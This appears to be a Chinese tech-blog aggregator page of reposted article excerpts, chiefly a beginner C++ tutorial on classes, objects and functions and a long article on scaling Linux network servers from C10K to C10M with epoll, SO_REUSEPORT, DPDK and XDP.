访问的时候才需要物理上连续,但为了性能上的考虑,内核中一般使用 kmalloc(),而只有在需要获得大块内存时才使用 vmalloc()。例如,当模块被动态加载到内核当中时,就把模块装载到由 vmalloc() 分配的内存上。 本篇文章为转载内容。原文链接:https://secdev.blog.csdn.net/article/details/109731954。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-26 20:46:17
231
转载
转载文章
...网络技术的最新进展与应用。 近期,5G技术在全球范围内的商用部署已取得显著成效,其高速率、低延迟的特点为用户提供了更为流畅的在线体验,尤其对于视频通话、在线游戏及大规模物联网设备连接等场景具有革命性意义。同时,各大手机制造商正不断优化设备的多网络切换能力,以适应不同环境下(如家庭、办公室或户外)自动无缝切换至最优网络的需求。 此外,在网络安全方面,Wi-Fi联盟于今年推出Wi-Fi 6E标准,除了提升速度和效率外,还增强了对频谱资源的利用以及数据传输的安全性。这一进步使得Wi-Fi网络不仅在性能上能与5G抗衡,而且在特定环境下的安全性也得到了增强。 深入解读技术层面,未来智能手机将更智能地管理网络连接,通过AI算法预测用户的网络需求,预先加载数据并进行高效路由选择,从而实现真正的智能化网络服务。与此同时,政策层面也在积极推动公共WIFI建设,提高全民网络接入的便利性,降低数据流量成本。 总的来说,随着科技的发展,我们对无线网络的理解与使用方式也在持续演进,从基础的WIFI和GPRS设置到探索5G、Wi-Fi 6E等前沿技术的应用,都是为了让用户享受到更便捷、安全、高效的网络服务。在这个过程中,每一个环节的优化与改进都值得我们关注与学习。
2023-02-23 17:26:09
84
转载
转载文章
...者开发更为友好的系统工具,让用户能便捷地手动调节风扇转速,就像本文作者所采取的IPMITOOL工具及GUI界面方案那样。 此外,对于企业级用户来说,服务器的稳定运行与维护至关重要。因此,戴尔等厂商也需加强与第三方软件开发商的合作,共同构建更加完善的生态系统,确保各类硬件设备与管理系统间的无缝对接,从而降低因兼容性问题引发的故障率,提高运维效率。 总之,在瞬息万变的科技领域,无论是老牌厂商如Dell还是新兴力量,都需紧跟时代步伐,充分考虑用户实际需求,持续优化软硬件兼容性和散热性能,以为用户提供更为优质、稳定的使用体验。而作为用户,则可通过关注行业动态,学习借鉴类似文章中的实践经验,以应对可能出现的各种硬件问题。
2023-02-24 14:29:07
172
转载
c++
...儿,顺便给大家瞅一眼代码,保证让你恍然大悟,弄清楚到底是咋回事儿! --- 2. 类与对象 搭积木的基本单元 2.1 什么是类? 类就像是积木里的“模板”。它定义了某种东西的样子以及它的行为。比如说,你想造一辆车嘛,那就好比先画个“车”的模板,跟程序说清楚这辆车长啥样(比如什么颜色、跑多快),还能干啥(踩油门加速、踩刹车减速)。 cpp class Car { public: // 属性 string color; int speed; // 方法 void accelerate() { speed += 10; cout << "Car accelerated to " << speed << " km/h." << endl; } void brake() { speed -= 5; cout << "Car braked to " << speed << " km/h." << endl; } }; 这段代码定义了一个Car类,它有两个属性(颜色和速度)和两个方法(加速和刹车)。是不是很简单?这就是类的基础用法。 2.2 对象:具体实例 接下来,我们需要把类变成具体的“东西”,这就需要用到对象了。对象就是根据类创建出来的具体实例。比如,我们可以用Car类创建一辆红色的小汽车: cpp int main() { Car myCar; // 创建一个Car对象 myCar.color = "Red"; myCar.speed = 0; myCar.accelerate(); // 调用加速方法 myCar.brake(); // 调用刹车方法 return 0; } 运行这段代码后,你会看到输出: Car accelerated to 10 km/h. Car braked to 5 km/h. 瞧,通过类和对象,我们已经能够模拟一辆车的行为了!不过,光靠这些还不够,对吧?所以我们还得聊聊函数。 --- 3. 函数 积木之间的桥梁 3.1 函数的作用 函数就像是积木之间的桥梁,它能让不同的部分连接起来。比如说,在刚才那个例子里,accelerate(加速)和brake(刹车)都是Car类里的招数。可要是我想让好几辆车一起干活儿,这事儿就有点麻烦了。这时候就需要请个帮手——函数出场啦! 假设我们要写一个函数,用来比较两辆汽车的速度: cpp bool isFaster(Car car1, Car car2) { return car1.speed > car2.speed; } int main() { Car carA, carB; carA.speed = 60; carB.speed = 40; if (isFaster(carA, carB)) { cout << "Car A is faster than Car B!" << endl; } else { cout << "Car B is faster than Car A!" << endl; } return 0; } 这里,isFaster函数接收两个Car对象作为参数,并返回它们速度的比较结果。这样,我们就把类的功能扩展到了更复杂的场景中。 3.2 深度思考:函数的重要性 虽然我们可以通过类和对象完成很多任务,但函数的作用不可忽视。它们不仅可以让代码更加模块化,还能提高复用性。想象一下,如果你每次都要重复写类似的功能,那岂不是累死人了?所以,学会合理使用函数是非常重要的。 --- 4. 小项目实践 做一个简单的银行系统 现在,让我们试着用类、对象和函数做一个小项目——银行系统。这个系统包括客户信息管理、存款和取款等功能。 4.1 客户类定义 首先,我们定义一个Customer类,包含客户的姓名、账户余额等信息: cpp class Customer { private: string name; double balance; public: Customer(string n, double b) : name(n), balance(b) {} void deposit(double amount) { balance += amount; cout << name << "'s account has been credited with $" << amount << "." << endl; } void withdraw(double amount) { if (balance >= amount) { balance -= amount; cout << name << "'s account has been debited with $" << amount << "." << endl; } else { cout << name << " does not have sufficient funds." << endl; } } void displayBalance() const { cout << name << "'s current balance: $" << balance << endl; } }; 4.2 主程序实现 接着,我们在主程序中创建几个客户并进行操作: cpp int main() { Customer john("John Doe", 1000); Customer jane("Jane Smith", 500); john.deposit(200); jane.withdraw(300); john.displayBalance(); jane.displayBalance(); return 0; } 运行结果如下: John Doe's account has been credited with $200. Jane Smith's account has been debited with $300. John Doe's current balance: $1200 Jane Smith's current balance: $200 看到没?通过类、对象和函数,我们已经成功实现了一个简单的银行系统! --- 5. 总结 深入与否取决于需求 好了,朋友们,到这里我们差不多可以下结论了。如果你的目标只是做一些小型项目或者练习题,那么只用类、对象和函数确实足够了。不过呢,要是你想捣鼓那种超大又复杂的玩意儿,像游戏引擎或者那些企业专用的软件,那可得好好琢磨琢磨C++的各种花招了,什么指针啊、模板啊、STL啥的,这些东西绝对躲不掉,学精了才好办事! 记住,编程是一门艺术,也是一门科学。它既需要逻辑思维,也需要创造力。所以,与其纠结于要不要深入学习,不如问问自己:“我的目标是什么?”如果答案是“做一个有趣的小项目”,那么你就大胆地去尝试吧! 最后,祝大家在编程之路上越走越远,早日成为编程高手!如果你有任何疑问,欢迎随时来找我讨论哦~ 😊 --- 希望这篇文章对你有所帮助!
2025-03-25 15:39:59
10
幽谷听泉_
转载文章
...息服务以及软件开发与应用等相关行业。在本文语境下,信息传输、软件和信息技术服务业是新生代农民工就业结构转变的一个重要方向,相较于传统的劳动密集型行业,该行业对于技术知识和专业技能的要求较高,其从业人员收入水平也往往高于其他行业。 农民工市民化进程 , 农民工市民化是指农村户籍人口在城市长期稳定就业并居住,逐步融入城市社会生活,享有与城镇居民同等的公共服务和社会保障的过程。《2020年北京市外来新生代农民工监测报告》中的农民工市民化进程动态监测调查,旨在了解农民工在京的工作条件、生活需求及其向市民角色转变的程度和面临的问题,以推动相关政策制定和服务改善。
2023-06-28 17:16:54
62
转载
转载文章
...触发通知。也就是说,应用程序可以随时检查文件描述符的状态,然后再根据状态,进行 I/O 操作。 边缘触发:只有在文件描述符的状态发生改变(也就是 I/O 请求达到)时,才发送一次通知。这时候,应用程序需要尽可能多地执行 I/O,直到无法继续读写,才可以停止。如果 I/O 没执行完,或者因为某种原因没来得及处理,那么这次通知也就丢失了。 I/O 多路复用的方法有很多实现方法,我带你来逐个分析一下。 第一种,使用非阻塞 I/O 和水平触发通知,比如使用 select 或者 poll。 根据刚才水平触发的原理,select 和 poll 需要从文件描述符列表中,找出哪些可以执行 I/O ,然后进行真正的网络 I/O 读写。由于 I/O 是非阻塞的,一个线程中就可以同时监控一批套接字的文件描述符,这样就达到了单线程处理多请求的目的。所以,这种方式的最大优点,是对应用程序比较友好,它的 API 非常简单。 但是,应用软件使用 select 和 poll 时,需要对这些文件描述符列表进行轮询,这样,请求数多的时候就会比较耗时。并且,select 和 poll 还有一些其他的限制。 select 使用固定长度的位相量,表示文件描述符的集合,因此会有最大描述符数量的限制。比如,在 32 位系统中,默认限制是 1024。并且,在 select 内部,检查套接字状态是用轮询的方法,再加上应用软件使用时的轮询,就变成了一个 O(n^2) 的关系。 而 poll 改进了 select 的表示方法,换成了一个没有固定长度的数组,这样就没有了最大描述符数量的限制(当然还会受到系统文件描述符限制)。但应用程序在使用 poll 时,同样需要对文件描述符列表进行轮询,这样,处理耗时跟描述符数量就是 O(N) 的关系。 除此之外,应用程序每次调用 select 和 poll 时,还需要把文件描述符的集合,从用户空间传入内核空间,由内核修改后,再传出到用户空间中。这一来一回的内核空间与用户空间切换,也增加了处理成本。 有没有什么更好的方式来处理呢?答案自然是肯定的。 第二种,使用非阻塞 I/O 和边缘触发通知,比如 epoll。既然 select 和 poll 有那么多的问题,就需要继续对其进行优化,而 epoll 就很好地解决了这些问题。 epoll 使用红黑树,在内核中管理文件描述符的集合,这样,就不需要应用程序在每次操作时都传入、传出这个集合。 epoll 使用事件驱动的机制,只关注有 I/O 事件发生的文件描述符,不需要轮询扫描整个集合。 不过要注意,epoll 是在 Linux 2.6 中才新增的功能(2.4 虽然也有,但功能不完善)。由于边缘触发只在文件描述符可读或可写事件发生时才通知,那么应用程序就需要尽可能多地执行 I/O,并要处理更多的异常事件。 第三种,使用异步 I/O(Asynchronous I/O,简称为 AIO)。 在前面文件系统原理的内容中,我曾介绍过异步 I/O 与同步 I/O 的区别。异步 I/O 允许应用程序同时发起很多 I/O 操作,而不用等待这些操作完成。而在 I/O 完成后,系统会用事件通知(比如信号或者回调函数)的方式,告诉应用程序。这时,应用程序才会去查询 I/O 操作的结果。 异步 I/O 也是到了 Linux 2.6 才支持的功能,并且在很长时间里都处于不完善的状态,比如 glibc 提供的异步 I/O 库,就一直被社区诟病。同时,由于异步 I/O 跟我们的直观逻辑不太一样,想要使用的话,一定要小心设计,其使用难度比较高。 工作模型优化 了解了 I/O 模型后,请求处理的优化就比较直观了。 使用 I/O 多路复用后,就可以在一个进程或线程中处理多个请求,其中,又有下面两种不同的工作模型。 第一种,主进程 + 多个 worker 子进程,这也是最常用的一种模型。这种方法的一个通用工作模式就是:主进程执行 bind() + listen() 后,创建多个子进程;然后,在每个子进程中,都通过 accept() 或 epoll_wait() ,来处理相同的套接字。 比如,最常用的反向代理服务器 Nginx 就是这么工作的。它也是由主进程和多个 worker 进程组成。主进程主要用来初始化套接字,并管理子进程的生命周期;而 worker 进程,则负责实际的请求处理。我画了一张图来表示这个关系。 这里要注意,accept() 和 epoll_wait() 调用,还存在一个惊群的问题。换句话说,当网络 I/O 事件发生时,多个进程被同时唤醒,但实际上只有一个进程来响应这个事件,其他被唤醒的进程都会重新休眠。 其中,accept() 的惊群问题,已经在 Linux 2.6 中解决了; 而 epoll 的问题,到了 Linux 4.5 ,才通过 EPOLLEXCLUSIVE 解决。 为了避免惊群问题, Nginx 在每个 worker 进程中,都增加一个了全局锁(accept_mutex)。这些 worker 进程需要首先竞争到锁,只有竞争到锁的进程,才会加入到 epoll 中,这样就确保只有一个 worker 子进程被唤醒。 不过,根据前面 CPU 模块的学习,你应该还记得,进程的管理、调度、上下文切换的成本非常高。那为什么使用多进程模式的 Nginx ,却具有非常好的性能呢? 这里最主要的一个原因就是,这些 worker 进程,实际上并不需要经常创建和销毁,而是在没任务时休眠,有任务时唤醒。只有在 worker 由于某些异常退出时,主进程才需要创建新的进程来代替它。 当然,你也可以用线程代替进程:主线程负责套接字初始化和子线程状态的管理,而子线程则负责实际的请求处理。由于线程的调度和切换成本比较低,实际上你可以进一步把 epoll_wait() 都放到主线程中,保证每次事件都只唤醒主线程,而子线程只需要负责后续的请求处理。 第二种,监听到相同端口的多进程模型。在这种方式下,所有的进程都监听相同的接口,并且开启 SO_REUSEPORT 选项,由内核负责将请求负载均衡到这些监听进程中去。这一过程如下图所示。 由于内核确保了只有一个进程被唤醒,就不会出现惊群问题了。比如,Nginx 在 1.9.1 中就已经支持了这种模式。 不过要注意,想要使用 SO_REUSEPORT 选项,需要用 Linux 3.9 以上的版本才可以。 C1000K 基于 I/O 多路复用和请求处理的优化,C10K 问题很容易就可以解决。不过,随着摩尔定律带来的服务器性能提升,以及互联网的普及,你并不难想到,新兴服务会对性能提出更高的要求。 很快,原来的 C10K 已经不能满足需求,所以又有了 C100K 和 C1000K,也就是并发从原来的 1 万增加到 10 万、乃至 100 万。从 1 万到 10 万,其实还是基于 C10K 的这些理论,epoll 配合线程池,再加上 CPU、内存和网络接口的性能和容量提升。大部分情况下,C100K 很自然就可以达到。 那么,再进一步,C1000K 是不是也可以很容易就实现呢?这其实没有那么简单了。 首先从物理资源使用上来说,100 万个请求需要大量的系统资源。比如, 假设每个请求需要 16KB 内存的话,那么总共就需要大约 15 GB 内存。 而从带宽上来说,假设只有 20% 活跃连接,即使每个连接只需要 1KB/s 的吞吐量,总共也需要 1.6 Gb/s 的吞吐量。千兆网卡显然满足不了这么大的吞吐量,所以还需要配置万兆网卡,或者基于多网卡 Bonding 承载更大的吞吐量。 其次,从软件资源上来说,大量的连接也会占用大量的软件资源,比如文件描述符的数量、连接状态的跟踪(CONNTRACK)、网络协议栈的缓存大小(比如套接字读写缓存、TCP 读写缓存)等等。 最后,大量请求带来的中断处理,也会带来非常高的处理成本。这样,就需要多队列网卡、中断负载均衡、CPU 绑定、RPS/RFS(软中断负载均衡到多个 CPU 核上),以及将网络包的处理卸载(Offload)到网络设备(如 TSO/GSO、LRO/GRO、VXLAN OFFLOAD)等各种硬件和软件的优化。 C1000K 的解决方法,本质上还是构建在 epoll 的非阻塞 I/O 模型上。只不过,除了 I/O 模型之外,还需要从应用程序到 Linux 内核、再到 CPU、内存和网络等各个层次的深度优化,特别是需要借助硬件,来卸载那些原来通过软件处理的大量功能。 C10M 显然,人们对于性能的要求是无止境的。再进一步,有没有可能在单机中,同时处理 1000 万的请求呢?这也就是 C10M 问题。 实际上,在 C1000K 问题中,各种软件、硬件的优化很可能都已经做到头了。特别是当升级完硬件(比如足够多的内存、带宽足够大的网卡、更多的网络功能卸载等)后,你可能会发现,无论你怎么优化应用程序和内核中的各种网络参数,想实现 1000 万请求的并发,都是极其困难的。 究其根本,还是 Linux 内核协议栈做了太多太繁重的工作。从网卡中断带来的硬中断处理程序开始,到软中断中的各层网络协议处理,最后再到应用程序,这个路径实在是太长了,就会导致网络包的处理优化,到了一定程度后,就无法更进一步了。 要解决这个问题,最重要就是跳过内核协议栈的冗长路径,把网络包直接送到要处理的应用程序那里去。这里有两种常见的机制,DPDK 和 XDP。 第一种机制,DPDK,是用户态网络的标准。它跳过内核协议栈,直接由用户态进程通过轮询的方式,来处理网络接收。 说起轮询,你肯定会下意识认为它是低效的象征,但是进一步反问下自己,它的低效主要体现在哪里呢?是查询时间明显多于实际工作时间的情况下吧!那么,换个角度来想,如果每时每刻都有新的网络包需要处理,轮询的优势就很明显了。比如: 在 PPS 非常高的场景中,查询时间比实际工作时间少了很多,绝大部分时间都在处理网络包; 而跳过内核协议栈后,就省去了繁杂的硬中断、软中断再到 Linux 网络协议栈逐层处理的过程,应用程序可以针对应用的实际场景,有针对性地优化网络包的处理逻辑,而不需要关注所有的细节。 此外,DPDK 还通过大页、CPU 绑定、内存对齐、流水线并发等多种机制,优化网络包的处理效率。 第二种机制,XDP(eXpress Data Path),则是 Linux 内核提供的一种高性能网络数据路径。它允许网络包,在进入内核协议栈之前,就进行处理,也可以带来更高的性能。XDP 底层跟我们之前用到的 bcc-tools 一样,都是基于 Linux 内核的 eBPF 机制实现的。 XDP 的原理如下图所示: 你可以看到,XDP 对内核的要求比较高,需要的是 Linux 4.8 以上版本,并且它也不提供缓存队列。基于 XDP 的应用程序通常是专用的网络应用,常见的有 IDS(入侵检测系统)、DDoS 防御、 cilium 容器网络插件等。 总结 C10K 问题的根源,一方面在于系统有限的资源;另一方面,也是更重要的因素,是同步阻塞的 I/O 模型以及轮询的套接字接口,限制了网络事件的处理效率。Linux 2.6 中引入的 epoll ,完美解决了 C10K 的问题,现在的高性能网络方案都基于 epoll。 从 C10K 到 C100K ,可能只需要增加系统的物理资源就可以满足;但从 C100K 到 C1000K ,就不仅仅是增加物理资源就能解决的问题了。这时,就需要多方面的优化工作了,从硬件的中断处理和网络功能卸载、到网络协议栈的文件描述符数量、连接状态跟踪、缓存队列等内核的优化,再到应用程序的工作模型优化,都是考虑的重点。 再进一步,要实现 C10M ,就不只是增加物理资源,或者优化内核和应用程序可以解决的问题了。这时候,就需要用 XDP 的方式,在内核协议栈之前处理网络包;或者用 DPDK 直接跳过网络协议栈,在用户空间通过轮询的方式直接处理网络包。 当然了,实际上,在大多数场景中,我们并不需要单机并发 1000 万的请求。通过调整系统架构,把这些请求分发到多台服务器中来处理,通常是更简单和更容易扩展的方案。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_23864697/article/details/114626793。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-11 18:25:52
260
转载
站内搜索
用于搜索本网站内部文章,支持栏目切换。
知识学习
实践的时候请根据实际情况谨慎操作。
随机学习一条linux命令:
systemctl start|stop|restart|status service_name
- 管理systemd服务。
推荐内容
推荐本栏目内的其它文章,看看还有哪些文章让你感兴趣。
2023-04-28
2023-08-09
2023-06-18
2023-04-14
2023-02-18
2023-04-17
2024-01-11
2023-10-03
2023-09-09
2023-06-13
2023-08-07
2023-03-11
历史内容
快速导航到对应月份的历史文章列表。
随便看看
拉到页底了吧,随便看看还有哪些文章你可能感兴趣。
时光飞逝
"流光容易把人抛,红了樱桃,绿了芭蕉。"